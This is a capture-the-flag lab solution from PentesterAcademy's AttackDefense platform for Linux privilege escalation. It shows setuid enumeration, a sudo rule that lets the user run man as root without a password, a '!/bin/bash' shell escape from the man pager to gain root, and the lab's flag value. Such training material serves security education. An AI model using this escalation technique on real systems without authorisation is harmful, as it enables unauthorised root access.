
ATTACK
DEFENSE
by PentesterAcademy

Name	Editing Gone Wrong
URL	https://www.attackdefense.com/challengedetails?cid=80
Type	Privilege Escalation : Linux

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic.

Step 1: There is no specific hint given in this challenge, so start with finding setuid program approach.

Command: find / -user root -perm -4000 -exec ls -ldb {} \;

```
student@attackdefense:~$ find / -user root -perm -4000 -exec ls -ldb {} \;
find: '/root': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/proc/13/task/13/fd/12': No such file or directory
find: '/proc/13/task/13/fdinfo/12': No such file or directory
find: '/proc/13/fd/11': No such file or directory
find: '/proc/13/fdinfo/11': No such file or directory
find: '/etc/ssl/private': Permission denied
-rwsr-xr-x 1 root root 76496 Jan 25  2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Jan 25  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 59640 Jan 25  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 40344 Jan 25  2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44528 Jan 25  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 149080 Jan 18  2018 /usr/bin/sudo
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
-rwsr-xr-x 1 root root 43088 May 16 10:41 /bin/mount
-rwsr-xr-x 1 root root 26696 May 16 10:41 /bin/umount
-rwsr-xr-x 1 root root 44664 Jan 25  2018 /bin/su
student@attackdefense:~$
```

Step 2: No anomaly is there. Move on to finding misconfigured sudo. Check the current sudo capabilities.

Command: sudo -l

```
student@attackdefense:~$ sudo -l
Matching Defaults entries for student on attackdefense:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User student may run the following commands on attackdefense:
    (root) NOPASSWD: /usr/bin/man
student@attackdefense:~$
```

Step 3: The man entry depicts that the man command can be run using sudo without providing any password. Run it and launch /bin/bash from it.

Command: sudo man ls

```
student@attackdefense:~$ sudo man ls
LS(1)                                                  User Commands                                                  LS(1)

NAME
       ls - list directory contents

SYNOPSIS
       ls [OPTION]... [FILE]...

DESCRIPTION
       List information about the FILEs (the current directory by default).  Sort entries alphabetically if none of -cftuvSUX nor --sort is
       specified.

       Mandatory arguments to long options are mandatory for short options too.

       -a, --all
              do not ignore entries starting with .

       -A, --almost-all
              do not list implied . and ..

       --author
              with -l, print the author of each file

       -b, --escape
              print C-style escapes for nongraphic characters

       --block-size=SIZE
```

Command: !/bin/bash

```
       -b, --escape
              print C-style escapes for nongraphic characters

       --block-size=SIZE
              scale sizes by SIZE before printing them; e.g.,
!/bin/bash
root@attackdefense:~# whoami
root
```

Step 4: Observe that escalated to root user is successful. Change to /root directory and retrieve the flag.

Commands:
cd /root
ls -l
cat flag

```
root@attackdefense:~# cd /root
root@attackdefense:/root# ls -l
total 4
-rw-r--r-- 1 root root 33 Nov  2 15:54 flag
root@attackdefense:/root# cat flag
74f5cc752947ec8a522f9c49453b8e9a
root@attackdefense:/root#
```

Flag: 74f5cc752947ec8a522f9c49453b8e9a